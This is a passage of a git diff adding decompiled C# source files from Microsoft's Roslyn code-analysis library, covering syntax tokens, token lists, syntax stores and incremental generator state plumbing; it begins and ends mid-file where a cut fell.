+internal sealed class SyntaxReceiverStrategy : ISyntaxSelectionStrategy +{ + private sealed class Builder : ISyntaxInputBuilder + { + private readonly object _key; + + private readonly NodeStateTable.Builder _nodeStateTable; + + private readonly ISyntaxContextReceiver? _receiver; + + private readonly GeneratorSyntaxWalker? _walker; + + private TimeSpan lastElapsedTime; + + private bool TrackIncrementalSteps => _nodeStateTable.TrackIncrementalSteps; + + public Builder(SyntaxReceiverStrategy owner, object key, StateTableStore driverStateTable, bool trackIncrementalSteps) + { + _key = key; + _nodeStateTable = driverStateTable.GetStateTableOrEmpty(_key).ToBuilder(null, trackIncrementalSteps); + try + { + _receiver = owner._receiverCreator(); + } + catch (Exception innerException) + { + throw new UserFunctionException(innerException); + } + if (_receiver != null) + { + _walker = new GeneratorSyntaxWalker(_receiver, owner._syntaxHelper); + } + } + + public void SaveStateAndFree(StateTableStore.Builder tables) + { + _nodeStateTable.AddEntry(_receiver, EntryState.Modified, lastElapsedTime, TrackIncrementalSteps ? ImmutableArray<(IncrementalGeneratorRunStep, int)>.Empty : default(ImmutableArray<(IncrementalGeneratorRunStep, int)>), EntryState.Modified); + tables.SetTable(_key, _nodeStateTable.ToImmutableAndFree()); + } + + public void VisitTree(Lazy root, EntryState state, Lazy? model, CancellationToken cancellationToken) + { + if (_walker == null || state == EntryState.Removed) + { + return; + } + try + { + SharedStopwatch sharedStopwatch = SharedStopwatch.StartNew(); + _walker.VisitWithModel(model, root.Value); + if (TrackIncrementalSteps) + { + lastElapsedTime = sharedStopwatch.Elapsed; + } + } + catch (Exception ex) when (!ExceptionUtilities.IsCurrentOperationBeingCancelled(ex, cancellationToken)) + { + throw new UserFunctionException(ex); + } + } + } + + private readonly SyntaxContextReceiverCreator _receiverCreator; + + private readonly Action _registerOutput; + + private readonly ISyntaxHelper _syntaxHelper; + + public SyntaxReceiverStrategy(SyntaxContextReceiverCreator receiverCreator, Action registerOutput, ISyntaxHelper syntaxHelper) + { + _receiverCreator = receiverCreator; + _registerOutput = registerOutput; + _syntaxHelper = syntaxHelper; + } + + public ISyntaxInputBuilder GetBuilder(StateTableStore table, object key, bool trackIncrementalSteps, string? name, IEqualityComparer? comparer) + { + return new Builder(this, key, table, trackIncrementalSteps); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxReference.cs new file mode 100644 index 0000000..0652358 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxReference.cs @@ -0,0 +1,24 @@ +using System.Threading; +using System.Threading.Tasks; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis; + +public abstract class SyntaxReference +{ + public abstract SyntaxTree SyntaxTree { get; } + + public abstract TextSpan Span { get; } + + public abstract SyntaxNode GetSyntax(CancellationToken cancellationToken = default(CancellationToken)); + + public virtual Task GetSyntaxAsync(CancellationToken cancellationToken = default(CancellationToken)) + { + return Task.FromResult(GetSyntax(cancellationToken)); + } + + internal Location GetLocation() + { + return SyntaxTree.GetLocation(Span); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxRemoveOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxRemoveOptions.cs new file mode 100644 index 0000000..cb5e1fb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxRemoveOptions.cs @@ -0,0 +1,16 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +public enum SyntaxRemoveOptions +{ + KeepNoTrivia = 0, + KeepLeadingTrivia = 1, + KeepTrailingTrivia = 2, + KeepExteriorTrivia = 3, + KeepUnbalancedDirectives = 4, + KeepDirectives = 8, + KeepEndOfLine = 0x10, + AddElasticMarker = 0x20 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxStore.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxStore.cs new file mode 100644 index 0000000..127527d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxStore.cs @@ -0,0 +1,149 @@ +using System; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class SyntaxStore +{ + public sealed class Builder + { + private readonly ImmutableDictionary.Builder _syntaxExceptions = ImmutableDictionary.CreateBuilder(); + + private readonly ImmutableDictionary.Builder _syntaxTimes = ImmutableDictionary.CreateBuilder(); + + private readonly StateTableStore.Builder _tableBuilder = new StateTableStore.Builder(); + + private readonly Compilation _compilation; + + private readonly ImmutableArray _syntaxInputNodes; + + private readonly bool _enableTracking; + + private readonly SyntaxStore _previous; + + private readonly CancellationToken _cancellationToken; + + internal Builder(Compilation compilation, ImmutableArray syntaxInputNodes, bool enableTracking, SyntaxStore previousStore, CancellationToken cancellationToken) + { + _compilation = compilation; + _syntaxInputNodes = syntaxInputNodes; + _enableTracking = enableTracking; + _previous = previousStore; + _cancellationToken = cancellationToken; + } + + public IStateTable GetSyntaxInputTable(SyntaxInputNode syntaxInputNode, NodeStateTable syntaxTreeTable) + { + if (!_tableBuilder.Contains(syntaxInputNode)) + { + bool flag = _compilation == _previous._compilation; + ArrayBuilder<(SyntaxInputNode, ISyntaxInputBuilder)> instance = ArrayBuilder<(SyntaxInputNode, ISyntaxInputBuilder)>.GetInstance(_syntaxInputNodes.Length); + ImmutableArray.Enumerator enumerator = _syntaxInputNodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxInputNode current = enumerator.Current; + if (flag && !_enableTracking && _previous._tables.TryGetValue(current, out IStateTable table)) + { + _tableBuilder.SetTable(current, table); + continue; + } + instance.Add((current, current.GetBuilder(_previous._tables, _enableTracking))); + _syntaxTimes[current] = TimeSpan.Zero; + } + if (instance.Count > 0) + { + _syntaxTimes[syntaxInputNode] = TimeSpan.Zero; + NodeStateTable.Enumerator enumerator2 = syntaxTreeTable.GetEnumerator(); + while (enumerator2.MoveNext()) + { + enumerator2.Current.Deconstruct(out SyntaxTree Item, out EntryState State, out int _, out IncrementalGeneratorRunStep _); + SyntaxTree tree = Item; + EntryState entryState = State; + Lazy root = new Lazy(() => tree.GetRoot(_cancellationToken)); + Lazy model = ((entryState != EntryState.Removed) ? new Lazy(() => _compilation.GetSemanticModel(tree)) : null); + for (int num = 0; num < instance.Count; num++) + { + SyntaxInputNode item = instance[num].Item1; + try + { + SharedStopwatch sharedStopwatch = SharedStopwatch.StartNew(); + try + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + instance[num].Item2.VisitTree(root, entryState, model, _cancellationToken); + } + finally + { + TimeSpan elapsed = sharedStopwatch.Elapsed; + if (item != syntaxInputNode) + { + _syntaxTimes[syntaxInputNode] = _syntaxTimes[syntaxInputNode].Subtract(elapsed); + _syntaxTimes[item] = _syntaxTimes[item].Add(elapsed); + } + } + } + catch (UserFunctionException value) + { + _syntaxExceptions[item] = value; + instance.RemoveAt(num); + num--; + } + } + } + ArrayBuilder<(SyntaxInputNode, ISyntaxInputBuilder)>.Enumerator enumerator3 = instance.GetEnumerator(); + while (enumerator3.MoveNext()) + { + enumerator3.Current.Item2.SaveStateAndFree(_tableBuilder); + } + } + instance.Free(); + } + if (!_tableBuilder.TryGetTable(syntaxInputNode, out IStateTable table2)) + { + throw _syntaxExceptions[syntaxInputNode]; + } + return table2; + } + + public TimeSpan GetRuntimeAdjustment(ImmutableArray inputNodes) + { + TimeSpan result = TimeSpan.Zero; + ImmutableArray.Enumerator enumerator = inputNodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxInputNode current = enumerator.Current; + if (_syntaxTimes.TryGetValue(current, out var value)) + { + result = result.Add(value); + } + } + return result; + } + + public SyntaxStore ToImmutable() + { + return new SyntaxStore(_tableBuilder.ToImmutable(), _compilation); + } + } + + private readonly StateTableStore _tables; + + private readonly Compilation? _compilation; + + internal static readonly SyntaxStore Empty = new SyntaxStore(StateTableStore.Empty, null); + + private SyntaxStore(StateTableStore tables, Compilation? compilation) + { + _tables = tables; + _compilation = compilation; + } + + public Builder ToBuilder(Compilation compilation, ImmutableArray syntaxInputNodes, bool enableTracking, CancellationToken cancellationToken) + { + return new Builder(compilation, syntaxInputNodes, enableTracking, this, cancellationToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxToken.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxToken.cs new file mode 100644 index 0000000..3ab0047 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxToken.cs @@ -0,0 +1,474 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[StructLayout(LayoutKind.Auto)] +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +public readonly struct SyntaxToken : IEquatable +{ + private static readonly Func s_createDiagnosticWithoutLocation; + + internal static readonly Func NonZeroWidth; + + internal static readonly Func Any; + + public int RawKind => Node?.RawKind ?? 0; + + public string Language => Node?.Language ?? string.Empty; + + internal int RawContextualKind => Node?.RawContextualKind ?? 0; + + public SyntaxNode? Parent { get; } + + internal GreenNode? Node { get; } + + internal GreenNode RequiredNode => Node; + + internal int Index { get; } + + internal int Position { get; } + + internal int Width => Node?.Width ?? 0; + + internal int FullWidth => Node?.FullWidth ?? 0; + + public TextSpan Span + { + get + { + if (Node == null) + { + return default(TextSpan); + } + return new TextSpan(Position + Node.GetLeadingTriviaWidth(), Node.Width); + } + } + + internal int EndPosition + { + get + { + if (Node == null) + { + return 0; + } + return Position + Node.FullWidth; + } + } + + public int SpanStart + { + get + { + if (Node == null) + { + return 0; + } + return Position + Node.GetLeadingTriviaWidth(); + } + } + + public TextSpan FullSpan => new TextSpan(Position, FullWidth); + + public bool IsMissing => Node?.IsMissing ?? false; + + public object? Value => Node?.GetValue(); + + public string ValueText => Node?.GetValueText() ?? string.Empty; + + public string Text => ToString(); + + public bool HasLeadingTrivia => LeadingTrivia.Count > 0; + + public bool HasTrailingTrivia => TrailingTrivia.Count > 0; + + internal int LeadingWidth => Node?.GetLeadingTriviaWidth() ?? 0; + + internal int TrailingWidth => Node?.GetTrailingTriviaWidth() ?? 0; + + public bool ContainsDiagnostics => Node?.ContainsDiagnostics ?? false; + + public bool ContainsDirectives => Node?.ContainsDirectives ?? false; + + public bool HasStructuredTrivia => Node?.ContainsStructuredTrivia ?? false; + + public bool ContainsAnnotations => Node?.ContainsAnnotations ?? false; + + public SyntaxTriviaList LeadingTrivia + { + get + { + if (Node == null) + { + return default(SyntaxTriviaList); + } + return new SyntaxTriviaList(this, Node.GetLeadingTriviaCore(), Position); + } + } + + public SyntaxTriviaList TrailingTrivia + { + get + { + if (Node == null) + { + return default(SyntaxTriviaList); + } + GreenNode leadingTriviaCore = Node.GetLeadingTriviaCore(); + int index = 0; + if (leadingTriviaCore != null) + { + index = ((!leadingTriviaCore.IsList) ? 1 : leadingTriviaCore.SlotCount); + } + GreenNode trailingTriviaCore = Node.GetTrailingTriviaCore(); + int num = Position + FullWidth; + if (trailingTriviaCore != null) + { + num -= trailingTriviaCore.FullWidth; + } + return new SyntaxTriviaList(this, trailingTriviaCore, num, index); + } + } + + public SyntaxTree? SyntaxTree => Parent?.SyntaxTree; + + internal SyntaxToken(SyntaxNode? parent, GreenNode? token, int position, int index) + { + Parent = parent; + Node = token; + Position = position; + Index = index; + } + + internal SyntaxToken(GreenNode? token) + { + this = default(SyntaxToken); + Node = token; + } + + private string GetDebuggerDisplay() + { + return GetType().Name + " " + ((Node != null) ? Node.KindText : "None") + " " + ToString(); + } + + public override string ToString() + { + if (Node == null) + { + return string.Empty; + } + return Node.ToString(); + } + + public string ToFullString() + { + if (Node == null) + { + return string.Empty; + } + return Node.ToFullString(); + } + + public void WriteTo(TextWriter writer) + { + Node?.WriteTo(writer); + } + + internal void WriteTo(TextWriter writer, bool leading, bool trailing) + { + Node?.WriteTo(writer, leading, trailing); + } + + public bool IsPartOfStructuredTrivia() + { + return Parent?.IsPartOfStructuredTrivia() ?? false; + } + + public bool HasAnnotations(string annotationKind) + { + return Node?.HasAnnotations(annotationKind) ?? false; + } + + public bool HasAnnotations(params string[] annotationKinds) + { + return Node?.HasAnnotations(annotationKinds) ?? false; + } + + public bool HasAnnotation([NotNullWhen(true)] SyntaxAnnotation? annotation) + { + return Node?.HasAnnotation(annotation) ?? false; + } + + public IEnumerable GetAnnotations(string annotationKind) + { + return Node?.GetAnnotations(annotationKind) ?? SpecializedCollections.EmptyEnumerable(); + } + + public IEnumerable GetAnnotations(params string[] annotationKinds) + { + return GetAnnotations((IEnumerable)annotationKinds); + } + + public IEnumerable GetAnnotations(IEnumerable annotationKinds) + { + return Node?.GetAnnotations(annotationKinds) ?? SpecializedCollections.EmptyEnumerable(); + } + + public SyntaxToken WithAdditionalAnnotations(params SyntaxAnnotation[] annotations) + { + return WithAdditionalAnnotations((IEnumerable)annotations); + } + + public SyntaxToken WithAdditionalAnnotations(IEnumerable annotations) + { + if (annotations == null) + { + throw new ArgumentNullException("annotations"); + } + if (Node != null) + { + return new SyntaxToken(null, Node.WithAdditionalAnnotationsGreen(annotations), 0, 0); + } + return default(SyntaxToken); + } + + public SyntaxToken WithoutAnnotations(params SyntaxAnnotation[] annotations) + { + return WithoutAnnotations((IEnumerable)annotations); + } + + public SyntaxToken WithoutAnnotations(IEnumerable annotations) + { + if (annotations == null) + { + throw new ArgumentNullException("annotations"); + } + if (Node != null) + { + return new SyntaxToken(null, Node.WithoutAnnotationsGreen(annotations), 0, 0); + } + return default(SyntaxToken); + } + + public SyntaxToken WithoutAnnotations(string annotationKind) + { + if (annotationKind == null) + { + throw new ArgumentNullException("annotationKind"); + } + if (HasAnnotations(annotationKind)) + { + return WithoutAnnotations(GetAnnotations(annotationKind)); + } + return this; + } + + public SyntaxToken CopyAnnotationsTo(SyntaxToken token) + { + if (token.Node == null) + { + return default(SyntaxToken); + } + if (Node == null) + { + return token; + } + SyntaxAnnotation[] annotations = Node.GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + return new SyntaxToken(null, token.Node.WithAdditionalAnnotationsGreen(annotations), 0, 0); + } + return token; + } + + public SyntaxToken WithTriviaFrom(SyntaxToken token) + { + return WithLeadingTrivia(token.LeadingTrivia).WithTrailingTrivia(token.TrailingTrivia); + } + + public SyntaxToken WithLeadingTrivia(SyntaxTriviaList trivia) + { + return WithLeadingTrivia((IEnumerable?)trivia); + } + + public SyntaxToken WithLeadingTrivia(params SyntaxTrivia[]? trivia) + { + return WithLeadingTrivia((IEnumerable?)trivia); + } + + public SyntaxToken WithLeadingTrivia(IEnumerable? trivia) + { + if (Node == null) + { + return default(SyntaxToken); + } + return new SyntaxToken(null, Node.WithLeadingTrivia(GreenNode.CreateList(trivia, (SyntaxTrivia t) => t.RequiredUnderlyingNode)), 0, 0); + } + + public SyntaxToken WithTrailingTrivia(SyntaxTriviaList trivia) + { + return WithTrailingTrivia((IEnumerable?)trivia); + } + + public SyntaxToken WithTrailingTrivia(params SyntaxTrivia[]? trivia) + { + return WithTrailingTrivia((IEnumerable?)trivia); + } + + public SyntaxToken WithTrailingTrivia(IEnumerable? trivia) + { + if (Node == null) + { + return default(SyntaxToken); + } + return new SyntaxToken(null, Node.WithTrailingTrivia(GreenNode.CreateList(trivia, (SyntaxTrivia t) => t.RequiredUnderlyingNode)), 0, 0); + } + + public IEnumerable GetAllTrivia() + { + if (HasLeadingTrivia) + { + if (HasTrailingTrivia) + { + return LeadingTrivia.Concat(TrailingTrivia); + } + return LeadingTrivia; + } + if (HasTrailingTrivia) + { + return TrailingTrivia; + } + return SpecializedCollections.EmptyEnumerable(); + } + + public static bool operator ==(SyntaxToken left, SyntaxToken right) + { + return left.Equals(right); + } + + public static bool operator !=(SyntaxToken left, SyntaxToken right) + { + return !left.Equals(right); + } + + public bool Equals(SyntaxToken other) + { + if (Parent == other.Parent && Node == other.Node && Position == other.Position) + { + return Index == other.Index; + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is SyntaxToken) + { + return Equals((SyntaxToken)obj); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Parent, Hash.Combine(Node, Hash.Combine(Position, Index))); + } + + public SyntaxToken GetNextToken(bool includeZeroWidth = false, bool includeSkipped = false, bool includeDirectives = false, bool includeDocumentationComments = false) + { + if (Node == null) + { + return default(SyntaxToken); + } + return SyntaxNavigator.Instance.GetNextToken(this, includeZeroWidth, includeSkipped, includeDirectives, includeDocumentationComments); + } + + internal SyntaxToken GetNextToken(Func predicate, Func? stepInto = null) + { + if (Node == null) + { + return default(SyntaxToken); + } + return SyntaxNavigator.Instance.GetNextToken(this, predicate, stepInto); + } + + public SyntaxToken GetPreviousToken(bool includeZeroWidth = false, bool includeSkipped = false, bool includeDirectives = false, bool includeDocumentationComments = false) + { + if (Node == null) + { + return default(SyntaxToken); + } + return SyntaxNavigator.Instance.GetPreviousToken(this, includeZeroWidth, includeSkipped, includeDirectives, includeDocumentationComments); + } + + internal SyntaxToken GetPreviousToken(Func predicate, Func? stepInto = null) + { + return SyntaxNavigator.Instance.GetPreviousToken(this, predicate, stepInto); + } + + public Location GetLocation() + { + SyntaxTree syntaxTree = SyntaxTree; + if (syntaxTree != null) + { + return syntaxTree.GetLocation(Span); + } + return Location.None; + } + + public IEnumerable GetDiagnostics() + { + if (Node == null) + { + return SpecializedCollections.EmptyEnumerable(); + } + SyntaxTree syntaxTree = SyntaxTree; + if (syntaxTree == null) + { + DiagnosticInfo[] diagnostics = Node.GetDiagnostics(); + if (diagnostics.Length != 0) + { + return diagnostics.Select(s_createDiagnosticWithoutLocation); + } + return SpecializedCollections.EmptyEnumerable(); + } + return syntaxTree.GetDiagnostics(this); + } + + public bool IsEquivalentTo(SyntaxToken token) + { + if (Node != null || token.Node != null) + { + if (Node != null && token.Node != null) + { + return Node.IsEquivalentTo(token.Node); + } + return false; + } + return true; + } + + public bool IsIncrementallyIdenticalTo(SyntaxToken token) + { + if (Node != null) + { + return Node == token.Node; + } + return false; + } + + static SyntaxToken() + { + s_createDiagnosticWithoutLocation = Diagnostic.Create; + NonZeroWidth = (SyntaxToken t) => t.Width > 0; + Any = (SyntaxToken t) => true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTokenList.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTokenList.cs new file mode 100644 index 0000000..4c6881d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTokenList.cs @@ -0,0 +1,620 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using Microsoft.CodeAnalysis.Syntax; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[StructLayout(LayoutKind.Auto)] +public readonly struct SyntaxTokenList : IEquatable, IReadOnlyList, IEnumerable, IEnumerable, IReadOnlyCollection +{ + [StructLayout(LayoutKind.Auto)] + public struct Enumerator + { + private readonly SyntaxNode? _parent; + + private readonly GreenNode? _singleNodeOrList; + + private readonly int _baseIndex; + + private readonly int _count; + + private int _index; + + private GreenNode? _current; + + private int _position; + + public SyntaxToken Current + { + get + { + if (_current == null) + { + throw new InvalidOperationException(); + } + return new SyntaxToken(_parent, _current, _position, _baseIndex + _index); + } + } + + internal Enumerator(in SyntaxTokenList list) + { + _parent = list._parent; + _singleNodeOrList = list.Node; + _baseIndex = list._index; + _count = list.Count; + _index = -1; + _current = null; + _position = list.Position; + } + + public bool MoveNext() + { + if (_count == 0 || _count <= _index + 1) + { + _current = null; + return false; + } + _index++; + if (_current != null) + { + _position += _current.FullWidth; + } + _current = GetGreenNodeAt(_singleNodeOrList, _index); + return true; + } + + public override bool Equals(object? obj) + { + throw new NotSupportedException(); + } + + public override int GetHashCode() + { + throw new NotSupportedException(); + } + } + + private class EnumeratorImpl : IEnumerator, IEnumerator, IDisposable + { + private Enumerator _enumerator; + + public SyntaxToken Current => _enumerator.Current; + + object IEnumerator.Current => _enumerator.Current; + + internal EnumeratorImpl(in SyntaxTokenList list) + { + _enumerator = new Enumerator(in list); + } + + public bool MoveNext() + { + return _enumerator.MoveNext(); + } + + public void Reset() + { + throw new NotSupportedException(); + } + + public void Dispose() + { + } + } + + public readonly struct Reversed(SyntaxTokenList list) : IEnumerable, IEnumerable, IEquatable + { + [StructLayout(LayoutKind.Auto)] + public struct Enumerator + { + private readonly SyntaxNode? _parent; + + private readonly GreenNode? _singleNodeOrList; + + private readonly int _baseIndex; + + private readonly int _count; + + private int _index; + + private GreenNode? _current; + + private int _position; + + public SyntaxToken Current + { + get + { + if (_current == null) + { + throw new InvalidOperationException(); + } + return new SyntaxToken(_parent, _current, _position, _baseIndex + _index); + } + } + + internal Enumerator(in SyntaxTokenList list) + { + this = default(Enumerator); + if (list.Any()) + { + _parent = list._parent; + _singleNodeOrList = list.Node; + _baseIndex = list._index; + _count = list.Count; + _index = _count; + _current = null; + SyntaxToken syntaxToken = list.Last(); + _position = syntaxToken.Position + syntaxToken.FullWidth; + } + } + + public bool MoveNext() + { + if (_count == 0 || _index <= 0) + { + _current = null; + return false; + } + _index--; + _current = GetGreenNodeAt(_singleNodeOrList, _index); + _position -= _current.FullWidth; + return true; + } + + public override bool Equals(object? obj) + { + throw new NotSupportedException(); + } + + public override int GetHashCode() + { + throw new NotSupportedException(); + } + } + + private class EnumeratorImpl : IEnumerator, IEnumerator, IDisposable + { + private Enumerator _enumerator; + + public SyntaxToken Current => _enumerator.Current; + + object IEnumerator.Current => _enumerator.Current; + + internal EnumeratorImpl(in SyntaxTokenList list) + { + _enumerator = new Enumerator(in list); + } + + public bool MoveNext() + { + return _enumerator.MoveNext(); + } + + public void Reset() + { + throw new NotSupportedException(); + } + + public void Dispose() + { + } + } + + private readonly SyntaxTokenList _list = list; + + public Enumerator GetEnumerator() + { + return new Enumerator(in _list); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (_list.Count == 0) + { + return SpecializedCollections.EmptyEnumerator(); + } + return new EnumeratorImpl(in _list); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (_list.Count == 0) + { + return SpecializedCollections.EmptyEnumerator(); + } + return new EnumeratorImpl(in _list); + } + + public override bool Equals(object? obj) + { + if (obj is Reversed other) + { + return Equals(other); + } + return false; + } + + public bool Equals(Reversed other) + { + return _list.Equals(other._list); + } + + public override int GetHashCode() + { + return _list.GetHashCode(); + } + } + + private readonly SyntaxNode? _parent; + + private readonly int _index; + + internal GreenNode? Node { get; } + + internal int Position { get; } + + public int Count + { + get + { + if (Node != null) + { + if (!Node.IsList) + { + return 1; + } + return Node.SlotCount; + } + return 0; + } + } + + public SyntaxToken this[int index] + { + get + { + if (Node != null) + { + if (Node.IsList) + { + if ((uint)index < (uint)Node.SlotCount) + { + return new SyntaxToken(_parent, Node.GetSlot(index), Position + Node.GetSlotOffset(index), _index + index); + } + } + else if (index == 0) + { + return new SyntaxToken(_parent, Node, Position, _index); + } + } + throw new ArgumentOutOfRangeException("index"); + } + } + + public TextSpan FullSpan + { + get + { + if (Node == null) + { + return default(TextSpan); + } + return new TextSpan(Position, Node.FullWidth); + } + } + + public TextSpan Span + { + get + { + if (Node == null) + { + return default(TextSpan); + } + return TextSpan.FromBounds(Position + Node.GetLeadingTriviaWidth(), Position + Node.FullWidth - Node.GetTrailingTriviaWidth()); + } + } + + private SyntaxToken[] Nodes => this.ToArray(); + + internal SyntaxTokenList(SyntaxNode? parent, GreenNode? tokenOrList, int position, int index) + { + _parent = parent; + Node = tokenOrList; + Position = position; + _index = index; + } + + public SyntaxTokenList(SyntaxToken token) + { + _parent = token.Parent; + Node = token.Node; + Position = token.Position; + _index = 0; + } + + public SyntaxTokenList(params SyntaxToken[] tokens) + { + this = new SyntaxTokenList(null, CreateNode(tokens), 0, 0); + } + + public SyntaxTokenList(IEnumerable tokens) + { + this = new SyntaxTokenList(null, CreateNode(tokens), 0, 0); + } + + private static GreenNode? CreateNode(SyntaxToken[] tokens) + { + if (tokens == null) + { + return null; + } + SyntaxTokenListBuilder syntaxTokenListBuilder = new SyntaxTokenListBuilder(tokens.Length); + for (int i = 0; i < tokens.Length; i++) + { + GreenNode node = tokens[i].Node; + syntaxTokenListBuilder.Add(node); + } + return syntaxTokenListBuilder.ToList().Node; + } + + private static GreenNode? CreateNode(IEnumerable tokens) + { + if (tokens == null) + { + return null; + } + SyntaxTokenListBuilder syntaxTokenListBuilder = SyntaxTokenListBuilder.Create(); + foreach (SyntaxToken token in tokens) + { + syntaxTokenListBuilder.Add(token.Node); + } + return syntaxTokenListBuilder.ToList().Node; + } + + public override string ToString() + { + if (Node == null) + { + return string.Empty; + } + return Node.ToString(); + } + + public string ToFullString() + { + if (Node == null) + { + return string.Empty; + } + return Node.ToFullString(); + } + + public SyntaxToken First() + { + if (Any()) + { + return this[0]; + } + throw new InvalidOperationException(); + } + + public SyntaxToken Last() + { + if (Any()) + { + return this[Count - 1]; + } + throw new InvalidOperationException(); + } + + public bool Any() + { + return Node != null; + } + + public Reversed Reverse() + { + return new Reversed(this); + } + + internal void CopyTo(int offset, GreenNode?[] array, int arrayOffset, int count) + { + for (int i = 0; i < count; i++) + { + array[arrayOffset + i] = GetGreenNodeAt(offset + i); + } + } + + private GreenNode? GetGreenNodeAt(int i) + { + return GetGreenNodeAt(Node, i); + } + + private static GreenNode? GetGreenNodeAt(GreenNode node, int i) + { + if (!node.IsList) + { + return node; + } + return node.GetSlot(i); + } + + public int IndexOf(SyntaxToken tokenInList) + { + int i = 0; + for (int count = Count; i < count; i++) + { + if (this[i] == tokenInList) + { + return i; + } + } + return -1; + } + + internal int IndexOf(int rawKind) + { + int i = 0; + for (int count = Count; i < count; i++) + { + if (this[i].RawKind == rawKind) + { + return i; + } + } + return -1; + } + + public SyntaxTokenList Add(SyntaxToken token) + { + return Insert(Count, token); + } + + public SyntaxTokenList AddRange(IEnumerable tokens) + { + return InsertRange(Count, tokens); + } + + public SyntaxTokenList Insert(int index, SyntaxToken token) + { + if (token == default(SyntaxToken)) + { + throw new ArgumentOutOfRangeException("token"); + } + return InsertRange(index, new SyntaxToken[1] { token }); + } + + public SyntaxTokenList InsertRange(int index, IEnumerable tokens) + { + if (index < 0 || index > Count) + { + throw new ArgumentOutOfRangeException("index"); + } + if (tokens == null) + { + throw new ArgumentNullException("tokens"); + } + if (tokens.ToList().Count == 0) + { + return this; + } + List list = this.ToList(); + list.InsertRange(index, tokens); + if (list.Count == 0) + { + return this; + } + return new SyntaxTokenList(null, GreenNode.CreateList(list, (SyntaxToken n) => n.RequiredNode), 0, 0); + } + + public SyntaxTokenList RemoveAt(int index) + { + if (index < 0 || index >= Count) + { + throw new ArgumentOutOfRangeException("index"); + } + List list = this.ToList(); + list.RemoveAt(index); + return new SyntaxTokenList(null, GreenNode.CreateList(list, (SyntaxToken n) => n.RequiredNode), 0, 0); + } + + public SyntaxTokenList Remove(SyntaxToken tokenInList) + { + int num = IndexOf(tokenInList); + if (num >= 0 && num <= Count) + { + return RemoveAt(num); + } + return this; + } + + public SyntaxTokenList Replace(SyntaxToken tokenInList, SyntaxToken newToken) + { + if (newToken == default(SyntaxToken)) + { + throw new ArgumentOutOfRangeException("newToken"); + } + return ReplaceRange(tokenInList, new SyntaxToken[1] { newToken }); + } + + public SyntaxTokenList ReplaceRange(SyntaxToken tokenInList, IEnumerable newTokens) + { + int num = IndexOf(tokenInList); + if (num >= 0 && num <= Count) + { + List list = this.ToList(); + list.RemoveAt(num); + list.InsertRange(num, newTokens); + return new SyntaxTokenList(null, GreenNode.CreateList(list, (SyntaxToken n) => n.RequiredNode), 0, 0); + } + throw new ArgumentOutOfRangeException("tokenInList"); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (Node == null) + { + return SpecializedCollections.EmptyEnumerator(); + } + return new EnumeratorImpl(this); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (Node == null) + { + return SpecializedCollections.EmptyEnumerator(); + } + return new EnumeratorImpl(this); + } + + public static bool operator ==(SyntaxTokenList left, SyntaxTokenList right) + { + return left.Equals(right); + } + + public static bool operator !=(SyntaxTokenList left, SyntaxTokenList right) + { + return !left.Equals(right); + } + + public bool Equals(SyntaxTokenList other) + { + if (Node == other.Node && _parent == other._parent) + { + return _index == other._index; + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is SyntaxTokenList other) + { + return Equals(other); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Node, _index); + } + + public static SyntaxTokenList Create(SyntaxToken token) + { + return new SyntaxTokenList(token); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTree.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTree.cs new file mode 100644 index 0000000..be5b60d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxTree.cs @@ -0,0 +1,172 @@ +using System; +using System.Collections.Generic; +using 